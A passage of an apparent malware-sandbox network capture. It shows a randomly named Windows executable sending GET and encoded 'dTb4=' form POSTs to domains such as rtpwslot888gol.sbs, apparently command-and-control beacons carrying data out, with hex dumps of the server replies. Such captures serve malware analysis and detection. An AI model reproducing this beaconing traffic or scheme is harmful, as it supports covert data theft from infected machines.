                                                                                    Data Ascii: dTb4=3CrikborgHEyxPY+PH4cx8AVMYL34rRgWW5z3tmGNLSjA3YU8Fokh5RgJPApQ/Gd5iYeS76JkxZooSlWYAD+UbRtMLW3XUHk0vAO69IvxiQG1CGWnwcqFDtQeEDZXz5I0JoQS+GPfzz6zQTWQJzhjVmcsNwmqwEztx7xfVuGoJkClE8ttj8w4lCGPBEUJ+JmrvzOHTBASO+86jyBN+07KZD6po0e64y0vl0g2vMAjHxcYtRYSAMFKh6Ks4tNg782I9tLGwK1i92M1363i4/ea7KJq4l+vVIkZk+LXbUw5pyShrFZjQlx8FIxhQs3Old23JanKxCk1P0BcNRSXXPUAKGS3IT5RbK/xw17+wy6Xoi7wsGqWVQvjXwiWEx6DpqPt8K2+E5wq0R+hF/9AipP2bjgAx4yaDhdFata8Wjr1SApgeVkHpTYaRPiEEYu5Zu8l3TY5yagI9qqsSBs+mLI0NDqhjLUM32Rnf/cIji68uRPlrsiYF0RjAXftFzqZ0iyMLgLfp9ZWD2Ufqi+l/kwXEHanfUe65K8LZ3ho87htKnErOrI8gp5yCAdhzDzLPH2/szgT72zOPuwaS6sQVFYVJhkOwQsE4uFEHqbhBoqmM1VKUvYNgAZ2mK55oD2K2UiXn4/IGksXSMMIWf+FF7NAu0FQrozetK56ENGn0Tew+efEiq28yqQfr1zQs1Zm/b/TTDUkLveWCQvAK7uhlreIGak2W2hSKVSXlDomx/1Ir4N3aQsgh2AE3qx+QanvvB3q4a72RrT1rPn/vi2LlOYe5MtKJogmIMmd5GxVz9Yu2QVSeytz8/jrPRD22NBNNmpiy4dEYSv69arrltE4WPnfWH0djBQIKhnbTneWHZdWlvSISiwTm+l37K9rAYJ8cY7Qc7eZCLGYws+FFXrvcy5njDjQ8Bmy//89okNVKktXJZffF06lf8C4HJRaeF30H54TpMZGj1zXC6i+icpTiPaTkMnrkyPldO882wEMPWcZb5bTSf [TRUNCATED]
                                                                                    Dec 5, 2024 18:24:57.653115988 CET1236INHTTP/1.1 404 Not Found
                                                                                    content-type: text/html; charset=UTF-8
                                                                                    x-request-id: 50f1c528-5493-4cf4-a102-65dd657e20f8
                                                                                    x-runtime: 0.035184
                                                                                    content-length: 18110
                                                                                    connection: close
                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 [TRUNCATED]
                                                                                    Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <title>Action Controller: Exception caught</title> <style> body { background-color: #FAFAFA; color: #333; margin: 0px; } body, p, ol, ul, td { font-family: helvetica, verdana, arial, sans-serif; font-size: 13px; line-height: 18px; } pre { font-size: 11px; white-space: pre-wrap; } pre.box { border: 1px solid #EEE; padding: 10px; margin: 0px; width: 958px; } header { color: #F0F0F0; background: #C52F24; padding: 0.5em 1.5em; } h1 { margin: 0.2em 0; line-height: 1.1em; font-size: 2em; } h2 { color: #C52F24; line-height: 25px; } .details { border: 1px solid #D0D0D0; border-radius: 4px; margin: 1em 0px; display: block; width: 978px; } .summary { padding: 8px 15px; border-bottom: 1px solid #D0D0D0; [TRUNCATED]
                                                                                    Dec 5, 2024 18:24:57.653281927 CET224INData Raw: 70 72 65 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 62 6f 78 2d 73 69 7a
                                                                                    Data Ascii: pre { margin: 5px; border: none; } #container { box-sizing: border-box; width: 100%; padding: 0 1.5em; } .source * { margin: 0px; padding: 0px; } .source {
                                                                                    Dec 5, 2024 18:24:57.653292894 CET1236INData Raw: 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 39 44 39 44 39 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 45 43 45 43 45 43 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 37 38 70 78 3b 0a 20
                                                                                    Data Ascii: border: 1px solid #D9D9D9; background: #ECECEC; width: 978px; } .source pre { padding: 10px 0px; border: none; } .source .data { font-size: 80%; overflow: auto; background-colo
                                                                                    Dec 5, 2024 18:24:57.653762102 CET1236INData Raw: 65 3a 20 74 65 78 74 66 69 65 6c 64 3b 0a 20 20 7d 0a 0a 20 20 23 72 6f 75 74 65 5f 74 61 62 6c 65 20 74 62 6f 64 79 20 74 72 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 3b 0a 20 20
                                                                                    Data Ascii: e: textfield; } #route_table tbody tr { border-bottom: 1px solid #ddd; } #route_table tbody tr:nth-child(odd) { background: #f2f2f2; } #route_table tbody.exact_matches, #route_table tbody.fuzzy_matches { background
                                                                                    Dec 5, 2024 18:24:57.653774977 CET1236INData Raw: 2f 68 65 61 64 65 72 3e 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 3c 68 32 3e 4e 6f 20 72 6f 75 74 65 20 6d 61 74 63 68 65 73 20 5b 50 4f 53 54 5d 20 26 71 75 6f 74 3b 2f 6d 6a 64 6f 26 71 75 6f 74 3b 3c 2f 68 32 3e
                                                                                    Data Ascii: /header><div id="container"> <h2>No route matches [POST] &quot;/mjdo&quot;</h2> <p><code>Rails.root: /hover-parked</code></p><div id="traces"> <a href="#" onclick="hide(&#39;Framework-Trace&#39;);hide(&#39;Full-Trace&#39;);show(&#
                                                                                    Dec 5, 2024 18:24:57.654504061 CET1236INData Raw: 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 33 22 20 68 72 65 66 3d 22 23 22 3e 72 61 69 6c 74 69 65 73 20 28 35 2e 32 2e 36 29 20 6c 69 62 2f 72 61 69 6c 73 2f 72 61 63 6b 2f 6c 6f 67 67 65 72 2e 72 62 3a 32 38 3a 69 6e 20 60 63 61 6c 6c 26 23
                                                                                    Data Ascii: data-frame-id="3" href="#">railties (5.2.6) lib/rails/rack/logger.rb:28:in `call&#39;</a><br><a class="trace-frames" data-frame-id="4" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/remote_ip.rb:81:in `call&#39;</a><br><a class="tr
                                                                                    Dec 5, 2024 18:24:57.654546976 CET1236INData Raw: 65 2e 72 62 3a 31 31 30 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 31 33 22 20 68 72 65 66 3d 22 23 22 3e
                                                                                    Data Ascii: e.rb:110:in `call&#39;</a><br><a class="trace-frames" data-frame-id="13" href="#">railties (5.2.6) lib/rails/engine.rb:524:in `call&#39;</a><br><a class="trace-frames" data-frame-id="14" href="#">puma (4.3.9) lib/puma/configuration.rb:228:in `
                                                                                    Dec 5, 2024 18:24:57.655417919 CET1236INData Raw: 20 60 63 61 6c 6c 5f 61 70 70 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c 61 73 73 3d 22 74 72 61 63 65 2d 66 72 61 6d 65 73 22 20 64 61 74 61 2d 66 72 61 6d 65 2d 69 64 3d 22 33 22 20 68 72 65 66 3d 22 23 22 3e 72 61 69 6c 74 69 65 73
                                                                                    Data Ascii: `call_app&#39;</a><br><a class="trace-frames" data-frame-id="3" href="#">railties (5.2.6) lib/rails/rack/logger.rb:28:in `call&#39;</a><br><a class="trace-frames" data-frame-id="4" href="#">actionpack (5.2.6) lib/action_dispatch/middleware/re
                                                                                    Dec 5, 2024 18:24:57.655430079 CET1236INData Raw: 2d 69 64 3d 22 31 32 22 20 68 72 65 66 3d 22 23 22 3e 72 61 63 6b 20 28 32 2e 32 2e 33 29 20 6c 69 62 2f 72 61 63 6b 2f 73 65 6e 64 66 69 6c 65 2e 72 62 3a 31 31 30 3a 69 6e 20 60 63 61 6c 6c 26 23 33 39 3b 3c 2f 61 3e 3c 62 72 3e 3c 61 20 63 6c
                                                                                    Data Ascii: -id="12" href="#">rack (2.2.3) lib/rack/sendfile.rb:110:in `call&#39;</a><br><a class="trace-frames" data-frame-id="13" href="#">railties (5.2.6) lib/rails/engine.rb:524:in `call&#39;</a><br><a class="trace-frames" data-frame-id="14" href="#">
                                                                                    Dec 5, 2024 18:24:57.656198978 CET1236INData Raw: 72 20 66 72 61 6d 65 5f 69 64 20 3d 20 74 61 72 67 65 74 2e 64 61 74 61 73 65 74 2e 66 72 61 6d 65 49 64 3b 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 73 65 6c 65 63 74 65 64 46 72 61 6d 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 73 65 6c 65 63
                                                                                    Data Ascii: r frame_id = target.dataset.frameId; if (selectedFrame) { selectedFrame.className = selectedFrame.className.replace("selected", ""); } target.className += " selected"; selectedFrame = target;
                                                                                    Dec 5, 2024 18:24:57.776546955 CET1236INData Raw: 20 20 20 20 20 20 3c 2f 74 68 3e 0a 20 20 20 20 20 20 3c 74 68 3e 0a 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 69 64 3d 22 73 65 61 72 63 68 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 50 61 74 68 20 4d 61 74 63 68 22 20 74 79 70 65 3d 22 73
                                                                                    Data Ascii: </th> <th> <input id="search" placeholder="Path Match" type="search" name="path[]" /> </th> <th> </th> </tr> </thead> <tbody class='exact_matches' id='exact_matches'> </tbody> <tbody class='fuz


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    40192.168.2.1150014216.40.34.41802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:24:59.171480894 CET469OUTGET /mjdo/?dTb4=6ADCnvQ9skB547daLlBnwuRETZKS6KcjeRNtw+K9MfX5BFQo5QxZgNYKE+M2PfHWzU0KXpv/hGs7jgBNQBXteaUjCoTmVUObwuEB7uMwswwY1BCYkFgxMwo=&mZwPH=xrgxJbs HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.prototype.garden
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:25:00.292339087 CET1236INHTTP/1.1 200 OK
                                                                                    x-frame-options: SAMEORIGIN
                                                                                    x-xss-protection: 1; mode=block
                                                                                    x-content-type-options: nosniff
                                                                                    x-download-options: noopen
                                                                                    x-permitted-cross-domain-policies: none
                                                                                    referrer-policy: strict-origin-when-cross-origin
                                                                                    content-type: text/html; charset=utf-8
                                                                                    etag: W/"d476e85c69f7cfbf3d19011c14f7ebfc"
                                                                                    cache-control: max-age=0, private, must-revalidate
                                                                                    x-request-id: 87f37592-eaea-43a8-bbdb-0d5d125cb9b5
                                                                                    x-runtime: 0.008258
                                                                                    transfer-encoding: chunked
                                                                                    connection: close
                                                                                    Data Raw: 31 34 42 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 27 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 33 43 62 61 56 76 77 2d 49 37 4d 6c 72 6d 6d 6d 48 7a 30 62 66 62 6b 6f 37 6f 4d 43 57 31 6d 6e 32 75 36 35 75 57 73 57 57 42 38 27 20 6e 61 6d 65 3d 27 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 27 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 27 20 6e 61 6d 65 3d 27 76 69 65 77 70 6f 72 74 27 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 27 20 6e 61 6d 65 3d 27 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 27 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 64 61 74 61 [TRUNCATED]
                                                                                    Data Ascii: 14B1<!DOCTYPE html><html><head><meta content='text/html; charset=UTF-8' http-equiv='Content-Type'><meta content='3CbaVvw-I7MlrmmmHz0bfbko7oMCW1mn2u65uWsWWB8' name='google-site-verification'><meta content='width=device-width, initial-scale=1.0' name='viewport'><meta content='telephone=no' name='format-detection'><link href='data:;base64,iVBORw0KGgo=' rel='icon'><title>prototype.garden is coming soon</title><link rel="stylesheet" media="screen" href="https://fonts.googleapis.com/css?family=Open+Sans:300,400,600,700" /><link rel="stylesheet" media="all" href="/assets/application-2f7e7f30d812d0f3950918c7562df7e68eeeebd8649bdea2bc3844eb07fc8269.css" /></head><body><header><a rel="nofollow" href="https://www.hover.com/?source=p
                                                                                    Dec 5, 2024 18:25:00.292828083 CET1236INData Raw: 61 72 6b 65 64 22 3e 3c 69 6d 67 20 77 69 64 74 68 3d 22 31 30 32 22 20 68 65 69 67 68 74 3d 22 33 30 22 20 73 72 63 3d 22 2f 61 73 73 65 74 73 2f 68 76 5f 6c 6f 67 6f 5f 72 65 74 69 6e 61 2d 36 61 32 62 61 38 33 35 30 39 30 37 64 34 61 31 37 62
                                                                                    Data Ascii: arked"><img width="102" height="30" src="/assets/hv_logo_retina-6a2ba8350907d4a17bfc7863c2f1378e38a53bd22b790c69c14143b0f9ce45ca.png" /></a></header><main><h1>prototype.garden</h1><h2>is a totally awesome idea still being worked on.</h2><
                                                                                    Dec 5, 2024 18:25:00.292840958 CET1236INData Raw: 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 76 65 72 2e 63 6f 6d 2f 61 62 6f 75 74 3f 73 6f 75 72 63 65 3d 70 61 72 6b 65 64 22 3e 41 62 6f 75 74 20 55 73 3c 2f 61 3e 3c 2f 6c 69 3e
                                                                                    Data Ascii: rel="nofollow" href="https://www.hover.com/about?source=parked">About Us</a></li><li><a rel="nofollow" href="https://help.hover.com/home?source=parked">Help</a></li><li><a rel="nofollow" href="https://www.hover.com/tools?source=parked">Your
                                                                                    Dec 5, 2024 18:25:00.293529987 CET1236INData Raw: 33 35 2e 31 38 36 39 36 2c 31 35 2e 37 35 33 36 35 20 2d 33 35 2e 31 38 36 39 36 2c 33 35 2e 31 38 35 32 35 20 30 2c 32 2e 37 35 37 38 31 20 30 2e 33 31 31 32 38 2c 35 2e 34 34 33 35 39 20 30 2e 39 31 31 35 35 2c 38 2e 30 31 38 37 35 20 2d 32 39
                                                                                    Data Ascii: 35.18696,15.75365 -35.18696,35.18525 0,2.75781 0.31128,5.44359 0.91155,8.01875 -29.24344,-1.46723 -55.16995,-15.47582 -72.52461,-36.76396 -3.02879,5.19662 -4.76443,11.24048 -4.76443,17.6891 0,12.20777 6.21194,22.97747 15.65332,29.28716 -5.7677
                                                                                    Dec 5, 2024 18:25:00.293541908 CET848INData Raw: 39 20 31 31 35 74 32 37 39 20 2d 31 31 35 74 31 31 35 20 2d 32 37 39 7a 4d 31 32 37 30 20 31 30 35 30 71 30 20 2d 33 38 20 2d 32 37 20 2d 36 35 74 2d 36 35 20 2d 32 37 74 2d 36 35 20 32 37 74 2d 32 37 20 36 35 74 32 37 20 36 35 74 36 35 20 32 37
                                                                                    Data Ascii: 9 115t279 -115t115 -279zM1270 1050q0 -38 -27 -65t-65 -27t-65 27t-27 65t27 65t65 27t65 -27t27 -65zM768 1270 q-7 0 -76.5 0.5t-105.5 0t-96.5 -3t-103 -10t-71.5 -18.5q-50 -20 -88 -58t-58 -88q-11 -29 -18.5 -71.5t-10 -103t-3 -96.5t0 -105.5t0.5 -76.5t
                                                                                    Dec 5, 2024 18:25:00.294291973 CET694INData Raw: 0d 0a 32 41 38 0d 0a 61 76 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 43 6f 70 79 72 69 67 68 74 20 26 63 6f 70 79 3b 20 32 30 32 34 20 48 6f 76 65 72 3c 2f 6c 69 3e 0a 3c 6c 69 3e 3c 61 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 20 68 72 65 66 3d 22 68
                                                                                    Data Ascii: 2A8av><ul><li>Copyright &copy; 2024 Hover</li><li><a rel="nofollow" href="https://www.hover.com/tos?source=parked">Terms of Service</a></li><li><a rel="nofollow" href="https://www.hover.com/privacy?source=parked">Privacy</a></li></ul>


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    41192.168.2.1150015172.67.178.248802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:25:05.824893951 CET749OUTPOST /jmkz/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 201
                                                                                    Host: www.rtpwslot888gol.sbs
                                                                                    Origin: http://www.rtpwslot888gol.sbs
                                                                                    Referer: http://www.rtpwslot888gol.sbs/jmkz/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 37 39 4a 61 72 53 2f 54 37 2f 68 34 61 72 2b 4f 38 37 61 35 57 78 56 42 48 45 6f 73 65 2b 61 34 78 41 2f 50 59 2f 55 39 68 73 4d 63 71 6a 6d 42 53 54 55 2f 35 53 4f 39 51 54 46 6a 54 2f 65 6f 66 73 6f 5a 41 66 4b 49 61 73 70 32 39 36 44 51 65 30 39 7a 38 38 35 76 56 51 41 71 6a 2f 72 58 6f 65 4c 66 78 69 31 4a 71 6d 45 38 67 76 43 42 49 6f 53 4b 4c 39 47 6e 6d 2b 5a 62 63 4c 37 52 43 30 45 54 68 69 58 68 79 64 64 6c 73 57 39 71 6b 63 51 2f 36 2f 58 65 44 79 70 4d 58 65 63 67 74 6c 44 35 55 59 48 75 4e 79 78 65 4c 55 6c 6e 77 57 2b 68 79 6a 6a 54 49 6e 4c 68 59 4b 32 4c 54 67 3d 3d
                                                                                    Data Ascii: dTb4=79JarS/T7/h4ar+O87a5WxVBHEose+a4xA/PY/U9hsMcqjmBSTU/5SO9QTFjT/eofsoZAfKIasp296DQe09z885vVQAqj/rXoeLfxi1JqmE8gvCBIoSKL9Gnm+ZbcL7RC0EThiXhyddlsW9qkcQ/6/XeDypMXecgtlD5UYHuNyxeLUlnwW+hyjjTInLhYK2LTg==
                                                                                    Dec 5, 2024 18:25:07.078324080 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:25:06 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                                                                    pragma: no-cache
                                                                                    x-turbo-charged-by: LiteSpeed
                                                                                    CF-Cache-Status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xi9mskjpuJGZfSAy5wux%2B5dq8HuoCX6CfEOXoKSg6V%2Fz5oFFKa8A9%2Bb8YBWwZPzUHNikExAymtoQvkQuC0VEulbC8eEGRbVNckYJIsltiuoBzlJskofiEpncDnAEhBdpWNqT6%2BdBvb%2FN"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8ed5bbcd3dd841f2-EWR
                                                                                    Content-Encoding: gzip
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1789&rtt_var=894&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=749&delivery_rate=0&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                    Data Raw: 31 65 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 53 4d 6f db 30 0c bd 1b d8 7f 60 1c 14 d8 80 08 b6 5b 17 18 6c d9 d8 b0 0f ec b4 ed d0 cb 8e 8a 4d c7 44 64 c9 93 e8 24 5d d1 ff 5e c8 6e ba 66 d3 41 12 29 f2 f1 f1 81 92 ab cf 3f 3e dd fd fa f9 05 7a 1e 74 1d c9 70 80 e7 7b 8d 55 dc 23 ed 7a 2e b2 34 bd 8a c3 13 aa b6 8e e4 80 ac c0 a8 01 ab f8 40 78 1c ad e3 18 1a 6b 18 0d 57 f1 91 5a ee ab 16 0f d4 a0 98 8d 0d 90 21 26 a5 85 6f 94 c6 2a db 80 ef 1d 99 bd 60 2b 3a e2 ca d8 18 92 3a 92 4c ac b1 86 3c cd e1 bb 65 f8 6a 27 d3 be 89 64 b2 f8 e5 4c aa fe 30 60 4b 0a de 8e 0e 3b 74 5e 34 56 5b 27 7c d3 e3 80 45 ab dc fe dd c3 d6 b6 f7 0f 5b d5 ec 77 2e 40 2c 21 c5 3a 4d d3 15 0d 81 ae 32 fc f8 28 93 05 50 26 cf 7d 85 b4 73 e7 4b 0a ac f3 3c 2f 61 50 6e 47 a6 48 cb ce 1a 2e c0 58 37 28 0d 59 3e 9e 92 eb 74 3c c1 47 47 4a 6f e0 1b ea 03 32 35 6a 03 5e 19 2f 3c 3a ea 4a 78 25 62 09 ff b1 82 75 d7 75 65 50 b7 a5 c3 3f ba ab 89 6d 09 03
                                                                                    Data Ascii: 1edeSMo0`[lMDd$]^nfA)?>ztp{U#z.4@xkWZ!&o*`+::L<ej'dL0`K;t^4V['|E[w.@,!:M2(P&}sK</aPnGH.X7(Y>t<GGJo25j^/<:Jx%buueP?m
                                                                                    Dec 5, 2024 18:25:07.078337908 CET192INData Raw: 19 71 81 11 d7 10 d6 eb 04 c6 13 0b a5 69 67 0a 68 d0 30 ba 12 66 ed 8b f7 69 3a 9e ce 2d 08 8d 1d 17 20 f2 c5 39 5a 4f 4c d6 14 6a eb ad 9e 18 4b 60 3b 16 70 13 aa cc a1 b7 e9 55 e0 06 cf 4b f6 d9 b9 e2 8b 26 10 44 11 9e fe 60 91 dd ce b0 9a 0c
                                                                                    Data Ascii: qigh0fi:- 9ZOLjK`;pUK&D`0^\sqqmn\&}TA/4;/#9w=Co'=ct2l;[d#t{0_x%,0


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    42192.168.2.1150016172.67.178.248802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:25:08.486638069 CET769OUTPOST /jmkz/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.rtpwslot888gol.sbs
                                                                                    Origin: http://www.rtpwslot888gol.sbs
                                                                                    Referer: http://www.rtpwslot888gol.sbs/jmkz/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 37 39 4a 61 72 53 2f 54 37 2f 68 34 62 49 6d 4f 76 70 79 35 42 42 56 41 65 30 6f 73 49 4f 61 38 78 41 7a 50 59 39 34 74 67 61 38 63 7a 43 32 42 49 53 55 2f 36 53 4f 39 66 7a 46 69 51 50 65 76 66 73 56 36 41 64 4f 49 61 73 4e 32 39 36 7a 51 65 48 46 77 39 73 35 74 41 41 41 6f 6e 2f 72 58 6f 65 4c 66 78 69 68 7a 71 6d 63 38 67 36 53 42 49 4a 53 4a 51 64 47 6b 78 4f 5a 62 4b 37 37 56 43 30 45 4c 68 6d 57 4d 79 66 56 6c 73 58 4e 71 6b 4e 51 38 7a 2f 58 63 48 79 6f 69 54 72 73 75 67 6c 6a 33 64 49 6a 79 47 51 6c 61 4b 53 6f 39 67 31 33 32 78 77 72 52 63 42 71 52 52 37 54 43 49 72 62 4b 37 34 6a 75 6d 66 6a 4c 41 46 6b 70 56 76 34 4b 64 75 63 3d
                                                                                    Data Ascii: dTb4=79JarS/T7/h4bImOvpy5BBVAe0osIOa8xAzPY94tga8czC2BISU/6SO9fzFiQPevfsV6AdOIasN296zQeHFw9s5tAAAon/rXoeLfxihzqmc8g6SBIJSJQdGkxOZbK77VC0ELhmWMyfVlsXNqkNQ8z/XcHyoiTrsuglj3dIjyGQlaKSo9g132xwrRcBqRR7TCIrbK74jumfjLAFkpVv4Kduc=
                                                                                    Dec 5, 2024 18:25:09.728252888 CET939INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:25:09 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                                                                    pragma: no-cache
                                                                                    x-turbo-charged-by: LiteSpeed
                                                                                    CF-Cache-Status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L6yFsi17sblvqPZ8CzFtfX8%2BOhtNHHJJnXdAkwZ8fUWDWsxxQ5YLWSrQ6BZc05w8CXSLZ2FGGpoudaN8wAszHoxxqRYS%2FpwFT1qZ69QluUJvJQWGVWVLtukESoKXtjvN6%2BSMZf8scl8Q"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8ed5bbddcf180cc6-EWR
                                                                                    Content-Encoding: gzip
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1585&rtt_var=792&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=769&delivery_rate=0&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                    Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a
                                                                                    Data Ascii: f
